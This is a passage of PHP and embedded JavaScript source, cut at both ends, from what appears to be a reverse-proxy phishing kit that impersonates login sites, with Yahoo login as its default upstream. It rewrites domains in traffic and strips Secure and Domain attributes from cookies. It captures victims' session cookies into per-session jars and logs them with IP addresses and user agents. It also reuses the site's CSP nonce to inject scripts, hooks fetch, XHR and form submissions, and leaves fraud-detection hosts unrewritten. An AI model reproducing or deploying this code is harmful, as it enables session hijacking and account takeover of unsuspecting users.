403
Unauthorized Access
You don't have permission to access this resource.
HTML;
echo $html;
exit;
}
}
function strip_hop_by_hop_headers(array $headers): array {
$hop = ['connection','keep-alive','proxy-authenticate','proxy-authorization','te','trailers','transfer-encoding','upgrade'];
$out = [];
foreach ($headers as $k => $v) { if (in_array(strtolower($k), $hop, true)) continue; $out[$k] = $v; }
return $out;
}
function get_request_headers(): array {
$headers = [];
foreach ($_SERVER as $k => $v) {
if (str_starts_with($k, 'HTTP_')) {
$name = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($k, 5)))));
$headers[$name] = $v;
}
}
if (!empty($_SERVER['CONTENT_TYPE'])) $headers['Content-Type'] = $_SERVER['CONTENT_TYPE'];
if (!empty($_SERVER['CONTENT_LENGTH'])) $headers['Content-Length'] = $_SERVER['CONTENT_LENGTH'];
return $headers;
}
function get_upstream_origin(array $domainMap): string {
global $cfg;
$requested_host = $_SERVER['HTTP_HOST'] ?? '';
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
// Try exact match
foreach ($domainMap as $up => $proxy) {
if ($requested_host === $proxy) return $scheme . '://' . $up;
}
// Try wildcard patterns (reverse match)
foreach ($domainMap as $upPattern => $proxyTemplate) {
if (!str_contains($proxyTemplate, '*')) continue;
$captured = match_wildcard_host($requested_host, $proxyTemplate);
if ($captured !== null) {
$upHost = apply_wildcards_to_template($upPattern, $captured);
return $scheme . '://' . $upHost;
}
}
return $cfg['login']['domain'] ? $scheme . '://' . $cfg['login']['domain'] : 'https://login.yahoo.com';
}
function join_url(string $origin, string $pathAndQuery): string {
if ($pathAndQuery === '') return $origin;
if ($pathAndQuery[0] !== '/') $pathAndQuery = '/' . $pathAndQuery;
return rtrim($origin, '/') . $pathAndQuery;
}
function upstream_url_from_request(array $domainMap): string {
$uri = $_SERVER['REQUEST_URI'] ?? '/';
$prefix = rtrim(PROXY_PATH_PREFIX, '/');
$upstream_origin = get_upstream_origin($domainMap);
if ($prefix !== '' && $prefix !== '/' && str_starts_with($uri, $prefix)) {
$uri = substr($uri, strlen($prefix));
if ($uri === '') $uri = '/';
}
$fullUrl = join_url($upstream_origin, $uri);
// Rewrite query parameters that contain proxy URLs
if (str_contains($fullUrl, '?')) {
$fullUrl = preg_replace_callback(
'#([?&](?:continue|returnUrl|return|redirect|url|next|goto|ReturnUrl)=)([^&]+)#i',
function($m) use ($domainMap) {
$param = $m[1];
$encodedValue = $m[2];
$decodedValue = urldecode($encodedValue);
// Try to rewrite if it's a URL
if (preg_match('#https?://([a-z0-9][a-z0-9.-]+\.[a-z]{2,})#i', $decodedValue, $um)) {
$urlHost = $um[1];
// Reverse map: proxy → upstream
foreach ($domainMap as $upstream => $proxy) {
if ($urlHost === $proxy) {
$rewritten = str_replace($urlHost, $upstream, $decodedValue);
error_log("[QueryParamRewrite] $decodedValue → $rewritten");
return $param . urlencode($rewritten);
}
// Try wildcard reverse match
if (str_contains($proxy, '*')) {
$captured = match_wildcard_host($urlHost, $proxy);
if ($captured !== null) {
$upstreamHost = apply_wildcards_to_template($upstream, $captured);
$rewritten = str_replace($urlHost, $upstreamHost, $decodedValue);
error_log("[QueryParamRewrite] Wildcard: $decodedValue → $rewritten");
return $param . urlencode($rewritten);
}
}
}
}
return $m[0]; // No change
},
$fullUrl
);
}
return $fullUrl;
}
function rewrite_location(string $location, array $domainMap): string {
$proxyOrigin = current_origin();
$proxyScheme = parse_url($proxyOrigin, PHP_URL_SCHEME) ?: 'https';
$isProtocolRelative = str_starts_with($location, '//');
if (!preg_match('#^https?://#i', $location) && !$isProtocolRelative) return $location;
$loc = $isProtocolRelative ? ($proxyScheme . ':' . $location) : $location;
$parsed = parse_url($loc);
$host = $parsed['host'] ?? '';
if ($host === '') return $location;
// Try to map upstream → proxy
$proxyHost = upstream_host_to_proxy_host($host, $domainMap);
if ($proxyHost) {
return str_replace($host, $proxyHost, $loc);
}
if ($isProtocolRelative) {
$proxyHost = parse_url($proxyOrigin, PHP_URL_HOST) ?: '';
return $proxyScheme . '://' . $proxyHost . substr($location, 2);
}
return $location;
}
function rewrite_set_cookie(string $setCookie): string {
$setCookie = preg_replace('/;\s*Domain=[^;]+/i', '', $setCookie);
if (!is_https()) $setCookie = preg_replace('/;\s*Secure/i', '', $setCookie);
return $setCookie;
}
function rewrite_domains_in_header(string $headerValue, array $domainMap): string {
foreach ($domainMap as $upstream => $proxy) {
if (str_contains($upstream, '*')) {
$baseUp = str_replace('*.', '', $upstream);
$baseProxy = str_replace('*.', '', $proxy);
$headerValue = str_ireplace($baseUp, $baseProxy, $headerValue);
} else {
$headerValue = str_ireplace($upstream, $proxy, $headerValue);
}
}
return $headerValue;
}
function rewrite_body_urls(string $body, string $contentType, array $domainMap): string {
$ct = strtolower($contentType);
$isHtml = str_contains($ct, 'text/html');
$isCss = str_contains($ct, 'text/css');
$isJs = str_contains($ct, 'javascript') || str_contains($ct, 'application/json');
if (!$isHtml && !$isCss && !$isJs) return $body;
$proxyOrigin = current_origin();
$proxyScheme = parse_url($proxyOrigin, PHP_URL_SCHEME) . '://';
// Pattern to match URLs in content AND query parameters
$body = preg_replace_callback(
'#(https?://|//)([a-z0-9][a-z0-9.-]+\.[a-z]{2,})([^\s\'"<>]*)#i',
function($m) use ($domainMap, $proxyScheme) {
$protocol = $m[1];
$host = $m[2];
$pathAndQuery = $m[3] ?? '';
$proxyHost = upstream_host_to_proxy_host($host, $domainMap);
if ($proxyHost) {
$newProtocol = ($protocol === '//') ? '//' : $proxyScheme;
$fullUrl = $newProtocol . $proxyHost . $pathAndQuery;
// Also rewrite URLs inside query parameters
if (str_contains($pathAndQuery, '?')) {
$fullUrl = preg_replace_callback(
'#([?&](?:continue|returnUrl|return|redirect|url|next|goto)=)([^&]+)#i',
function($qm) use ($domainMap, $proxyScheme) {
$param = $qm[1];
$encodedUrl = $qm[2];
$decodedUrl = urldecode($encodedUrl);
// Rewrite the URL in the parameter
if (preg_match('#https?://([a-z0-9][a-z0-9.-]+\.[a-z]{2,})#i', $decodedUrl, $um)) {
$urlHost = $um[1];
$urlProxyHost = upstream_host_to_proxy_host($urlHost, $domainMap);
if ($urlProxyHost) {
$rewrittenUrl = str_replace($urlHost, $urlProxyHost, $decodedUrl);
return $param . urlencode($rewrittenUrl);
}
}
return $qm[0];
},
$fullUrl
);
}
return $fullUrl;
}
return $m[0];
},
$body
);
return $body;
}
function rewrite_request_headers(array $headers, array $domainMap, string $domainRoot): array {
$reverseMap = [];
foreach ($domainMap as $upstream => $proxy) {
$resolvedProxy = str_replace('[domain]', $domainRoot, $proxy);
$reverseMap[$resolvedProxy] = $upstream;
}
$headersToRewrite = ['Origin', 'Referer'];
foreach ($headersToRewrite as $headerName) {
if (!isset($headers[$headerName])) continue;
$value = $headers[$headerName];
$originalValue = $value;
// Extract host from header value
if (preg_match('#^(https?://)?([^/]+)(.*)#i', $value, $m)) {
$protocol = $m[1] ?: 'https://';
$host = $m[2];
$path = $m[3] ?? '';
// Try exact match first
if (isset($reverseMap[$host])) {
$value = $protocol . $reverseMap[$host] . $path;
} else {
// Try wildcard match (use new function)
foreach ($reverseMap as $proxyPattern => $upstreamPattern) {
if (!str_contains($proxyPattern, '*')) continue;
$captured = match_wildcard_host($host, $proxyPattern);
if ($captured !== null) {
$newHost = apply_wildcards_to_template($upstreamPattern, $captured);
$value = $protocol . $newHost . $path;
break;
}
}
}
if ($value !== $originalValue) {
error_log("[RequestHeaderRewrite] $headerName: $originalValue → $value");
$headers[$headerName] = $value;
}
}
}
return $headers;
}
function rewrite_request_body_urls(string $body, string $contentType, array $domainMap, string $domainRoot): string {
$ct = strtolower($contentType);
// Build reverse map: resolved proxy → upstream
$reverseMap = [];
foreach ($domainMap as $upstream => $proxy) {
$resolvedProxy = str_replace('[domain]', $domainRoot, $proxy);
$reverseMap[$resolvedProxy] = $upstream;
}
// Helper to rewrite a single URL
$rewriteUrl = function(string $url) use ($reverseMap, $domainRoot) {
if (!preg_match('#^https?://#i', $url)) return $url;
$parsed = parse_url($url);
$host = $parsed['host'] ?? '';
if ($host === '') return $url;
// Try exact match
if (isset($reverseMap[$host])) {
$newUrl = str_replace($host, $reverseMap[$host], $url);
error_log("[RequestBodyRewrite] Exact: $url → $newUrl");
return $newUrl;
}
// Try wildcard match (use new function)
foreach ($reverseMap as $proxyPattern => $upstreamPattern) {
if (!str_contains($proxyPattern, '*')) continue;
$captured = match_wildcard_host($host, $proxyPattern);
if ($captured !== null) {
$newHost = apply_wildcards_to_template($upstreamPattern, $captured);
$newUrl = str_replace($host, $newHost, $url);
error_log("[RequestBodyRewrite] Wildcard: $url → $newUrl");
return $newUrl;
}
}
return $url;
};
// JSON
if (str_contains($ct, 'application/json')) {
$data = @json_decode($body, true);
if (is_array($data)) {
array_walk_recursive($data, function(&$value) use ($rewriteUrl) {
if (is_string($value) && preg_match('#^https?://#i', $value)) {
$value = $rewriteUrl($value);
}
});
$newBody = json_encode($data, JSON_UNESCAPED_SLASHES);
if ($newBody !== false) return $newBody;
}
}
// Form-encoded
if (str_contains($ct, 'application/x-www-form-urlencoded')) {
parse_str($body, $params);
foreach ($params as $key => $value) {
if (is_string($value) && preg_match('#^https?://#i', $value)) {
$params[$key] = $rewriteUrl($value);
}
}
return http_build_query($params);
}
return $body;
}
function merge_cookies_to_jar(string $cookieJarPath, string $rawHeaders, string $upstreamHost = ''): void {
// Read existing cookies
$existingCookies = [];
if (is_file($cookieJarPath)) {
$lines = file($cookieJarPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($lines as $line) {
if (str_starts_with($line, '#HttpOnly_') || $line[0] !== '#') {
$existingCookies[] = $line;
}
}
}
// Parse Set-Cookie headers from response
$newCookies = [];
$headerLines = explode("\n", $rawHeaders);
foreach ($headerLines as $line) {
if (stripos($line, 'Set-Cookie:') === 0) {
$cookieValue = trim(substr($line, 11));
$parsed = parse_set_cookie_header($cookieValue, $upstreamHost);
if ($parsed) {
$newCookies[] = $parsed;
}
}
}
// Merge: existing + new (new overwrites existing with same name+domain+path)
$merged = [];
$index = [];
// Index existing cookies
foreach ($existingCookies as $line) {
if (trim($line) === '' || $line[0] === '#' && !str_starts_with($line, '#HttpOnly_')) continue;
$isHttpOnly = str_starts_with($line, '#HttpOnly_');
$cleanLine = $isHttpOnly ? substr($line, 10) : $line;
$parts = explode("\t", $cleanLine);
if (count($parts) >= 7) {
$key = $parts[0] . '|' . $parts[2] . '|' . $parts[5]; // domain|path|name
$index[$key] = $line;
}
}
// Add/Update with new cookies
foreach ($newCookies as $netscapeLine) {
if (!$netscapeLine) continue;
$isHttpOnly = str_starts_with($netscapeLine, '#HttpOnly_');
$cleanLine = $isHttpOnly ? substr($netscapeLine, 10) : $netscapeLine;
$parts = explode("\t", $cleanLine);
if (count($parts) >= 7) {
$key = $parts[0] . '|' . $parts[2] . '|' . $parts[5];
$index[$key] = $netscapeLine; // Overwrite or add
}
}
// Write merged result
$content = "# Netscape HTTP Cookie File\n";
foreach ($index as $line) {
$content .= $line . "\n";
}
file_put_contents($cookieJarPath, $content, LOCK_EX);
}
function parse_set_cookie_header(string $setCookie, string $requestHost = ''): ?string {
$parts = explode(';', $setCookie);
$cookiePair = trim($parts[0]);
if (!str_contains($cookiePair, '=')) return null;
list($name, $value) = explode('=', $cookiePair, 2);
$name = trim($name);
$value = trim($value);
$domain = ''; $path = '/'; $secure = false; $httpOnly = false; $expires = 0;
for ($i = 1; $i < count($parts); $i++) {
$attr = trim($parts[$i]);
if (stripos($attr, 'domain=') === 0) {
$domain = ltrim(substr($attr, 7), '.');
$domain = '.' . $domain;
} elseif (stripos($attr, 'path=') === 0) {
$path = substr($attr, 5);
} elseif (stripos($attr, 'expires=') === 0) {
$dateStr = substr($attr, 8);
$expires = strtotime($dateStr) ?: 0;
} elseif (stripos($attr, 'max-age=') === 0) {
$maxAge = (int)substr($attr, 8);
$expires = time() + $maxAge;
} elseif (strcasecmp($attr, 'secure') === 0) {
$secure = true;
} elseif (strcasecmp($attr, 'httponly') === 0) {
$httpOnly = true;
}
}
if ($domain === '') {
$domain = $requestHost ?: ($_SERVER['HTTP_HOST'] ?? 'localhost');
if (!str_starts_with($domain, '.')) $domain = '.' . $domain;
}
// FILTER: Skip if domain is a proxy domain (contains our domainRoot)
global $domainRoot;
if ($domainRoot && str_contains(strtolower($domain), strtolower($domainRoot))) {
error_log("[CookieMerge] Skipping proxy domain cookie: $name @ $domain");
return null; // Don't save proxy domain cookies
}
$flag = 'TRUE';
$secureFlag = $secure ? 'TRUE' : 'FALSE';
$netscapeLine = "$domain\t$flag\t$path\t$secureFlag\t$expires\t$name\t$value";
if ($httpOnly) {
$netscapeLine = '#HttpOnly_' . $netscapeLine;
}
return $netscapeLine;
}
function session_cookiejar_path(): string {
if (!isset($_SESSION['cookiejar_path'])) {
ensure_dir(CURL_NETSCAPE_FOLDER);
$_SESSION['cookiejar_path'] = CURL_NETSCAPE_FOLDER . '/proxy_cookiejar_' . session_id() . '.txt';
}
return (string) $_SESSION['cookiejar_path'];
}
function parse_netscape_cookiejar_to_json_array(string $cookieFile): array {
if (!is_file($cookieFile)) return [];
$cookies = [];
$lines = @file($cookieFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if (!$lines) return [];
foreach ($lines as $line) {
if ($line === '' || $line[0] === '#') continue;
$parts = explode("\t", $line);
if (count($parts) < 7) continue;
$domain = $parts[0]; $path = $parts[2]; $secure = $parts[3] === 'TRUE';
$expires = (int)$parts[4]; $name = $parts[5]; $value = $parts[6];
if ($expires > 0 && $expires < time()) continue;
$cookies[] = [
'Name' => $name, 'Value' => $value, 'Domain' => $domain, 'Path' => $path,
'Max-Age' => null, 'Expires' => $expires > 0 ? $expires : null,
'Secure' => $secure, 'Discard' => $expires === 0, 'HttpOnly' => false,
];
}
return $cookies;
}
function write_cookie_snapshot_json(array $cookies): void {
ensure_dir(COOKIE_LOG_DIR);
$logPath = cookie_log_file_path();
$existingData = [];
// Load existing log if available
if (is_file($logPath)) {
$existingData = json_decode(file_get_contents($logPath), true) ?: [];
}
// Initialize structure if new
if (empty($existingData)) {
$existingData = [
'session_id' => session_id(),
'ip' => $_SESSION['ip'] ?? '',
'user_agent' => $_SESSION['user_agent'] ?? '',
'request_host' => $_SERVER['HTTP_HOST'] ?? '',
'upstream_host' => get_current_upstream_host($GLOBALS['DOMAIN_MAP'] ?? []),
'authorized_at' => $_SESSION['authorized_at'] ?? null,
'first_visit' => date('c'),
'last_activity' => date('c'),
'events' => [],
'cookies' => []
];
} else {
$existingData['last_activity'] = date('c');
}
// Update cookies
$existingData['cookies'] = $cookies;
file_put_contents($logPath, json_encode($existingData, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), LOCK_EX);
}
function log_event(string $type, array $data = []): void {
ensure_dir(COOKIE_LOG_DIR);
$logPath = cookie_log_file_path();
$logData = [];
if (is_file($logPath)) {
$logData = json_decode(file_get_contents($logPath), true) ?: [];
}
if (!isset($logData['events'])) {
$logData['events'] = [];
}
$logData['events'][] = [
'type' => $type,
'timestamp' => date('c'),
'data' => $data,
'request_uri' => $_SERVER['REQUEST_URI'] ?? '',
'request_method' => $_SERVER['REQUEST_METHOD'] ?? 'GET'
];
$logData['last_activity'] = date('c');
file_put_contents($logPath, json_encode($logData, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), LOCK_EX);
}
function generate_domain_rewrite_js(array $domainMap, string $proxyDomain): string {
$jsMap = [];
foreach ($domainMap as $upstream => $proxy) {
$jsMap[$upstream] = $proxy;
}
$jsMapJson = json_encode($jsMap, JSON_UNESCAPED_SLASHES);
$proxyDomainJson = json_encode($proxyDomain);
$script = <<<'JSEOF'
(function() {
const domainMap = JSON_MAP_PLACEHOLDER;
const proxyDomain = PROXY_DOMAIN_PLACEHOLDER;
console.log('[Proxy Interceptor] Loaded with mappings:', domainMap);
const blacklist = [
'apm.us-west-2.aws.found.io', 'iesnare.com', 'mpsnare.iesnare.com',
'google-analytics.com', 'googletagmanager.com', 'doubleclick.net',
'clarity.ms', 'hotjar.com', 'segment.com', 'segment.io',
'nr-data.net', 'newrelic.com', 'elastic.co'
];
function isBlacklisted(host) {
const hostLower = host.toLowerCase().replace(/:\d+$/, '');
for (const blocked of blacklist) {
if (hostLower === blocked || hostLower.endsWith('.' + blocked)) return true;
}
return false;
}
function matchWildcard(host, pattern) {
const regex = new RegExp('^' + pattern.replace(/\*/g, '([a-z0-9-]+)').replace(/\./g, '\\.') + '$', 'i');
const match = host.match(regex);
return match ? match.slice(1) : null;
}
function applyWildcards(template, captures) {
let result = template;
for (const val of captures) {
result = result.replace('*', val);
}
return result;
}
function rewriteUrl(url) {
if (!url || typeof url !== 'string') return url;
try {
const urlObj = new URL(url, window.location.href);
const originalHost = urlObj.hostname;
const currentHost = window.location.hostname;
if (originalHost === currentHost || originalHost.endsWith('.' + proxyDomain)) return url;
if (isBlacklisted(originalHost)) {
console.log('[Proxy] ⛔ Blocked:', originalHost);
return url;
}
// Try exact match
if (domainMap[originalHost]) {
const newHost = domainMap[originalHost].replace(/:\d+$/, '');
urlObj.hostname = newHost;
console.log('[Proxy] ✅ Exact:', originalHost, '→', newHost);
return urlObj.href;
}
// Try wildcard patterns
for (const [upstream, proxy] of Object.entries(domainMap)) {
if (!upstream.includes('*')) continue;
const captured = matchWildcard(originalHost, upstream);
if (captured) {
const newHost = applyWildcards(proxy, captured);
urlObj.hostname = newHost;
console.log('[Proxy] ✅ Wildcard:', originalHost, '→', newHost);
return urlObj.href;
}
}
console.log('[Proxy] ⚠️ Unmapped:', originalHost);
return url;
} catch (e) {
console.error('[Proxy] ❌ Error:', e);
}
return url;
}
const originalFetch = window.fetch;
window.fetch = function(resource, options) {
if (typeof resource === 'string') {
resource = rewriteUrl(resource);
} else if (resource instanceof Request) {
const rewritten = rewriteUrl(resource.url);
resource = new Request(rewritten, resource);
}
return originalFetch.call(this, resource, options);
};
const originalOpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url, ...args) {
const rewritten = rewriteUrl(url);
return originalOpen.call(this, method, rewritten, ...args);
};
document.addEventListener('submit', function(e) {
const form = e.target;
if (form.action) {
const rewritten = rewriteUrl(form.action);
if (rewritten !== form.action) {
console.log('[Proxy] 📝 Form:', form.action, '→', rewritten);
form.action = rewritten;
}
}
}, true);
console.log('[Proxy Interceptor] ✅ Active');
})();
JSEOF;
return str_replace(
['JSON_MAP_PLACEHOLDER', 'PROXY_DOMAIN_PLACEHOLDER'],
[$jsMapJson, $proxyDomainJson],
$script
);
}
function maybe_inject_js(string $body, string $contentType, array $jsInject, array $domainMap, string $upstreamCsp = ''): string {
if (!str_contains(strtolower($contentType), 'text/html')) return $body;
$host = $_SERVER['HTTP_HOST'] ?? '';
$path = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH) ?? '/';
$nonceValue = null;
if ($upstreamCsp !== '') {
if (preg_match("/'nonce-([^']+)'/i", $upstreamCsp, $m)) $nonceValue = $m[1];
elseif (preg_match('/nonce-([A-Za-z0-9+\/=._-]+)/i', $upstreamCsp, $m2)) $nonceValue = $m2[1];
}
foreach ($jsInject as $rule) {
$domains = $rule['trigger_domains'] ?? [];
$paths = $rule['trigger_paths'] ?? [];
$script = $rule['script'] ?? '';
if ($script === '') continue;
$domainMatch = false;
foreach ($domains as $d) {
if (str_contains($d, '*')) {
$base = str_replace('*.', '', $d);
if (str_ends_with($host, $base)) { $domainMatch = true; break; }
} else {
if ($host === $d) { $domainMatch = true; break; }
$mapped = upstream_host_to_proxy_host($d, $domainMap);
if ($mapped && $host === $mapped) { $domainMatch = true; break; }
}
}
if (!$domainMatch) continue;
foreach ($paths as $p) {
$match = false;
if ($p === '/*') $match = true;
elseif ($p === '/' && $path === '/') $match = true;
elseif ($p === $path) $match = true;
elseif (str_ends_with($p, '*')) {
$prefix = rtrim($p, '*');
if (str_starts_with($path, $prefix)) $match = true;
}
if (!$match) continue;
$nonceAttr = $nonceValue !== null ? ' nonce="' . htmlspecialchars($nonceValue, ENT_QUOTES) . '"' : '';
$scriptTag = "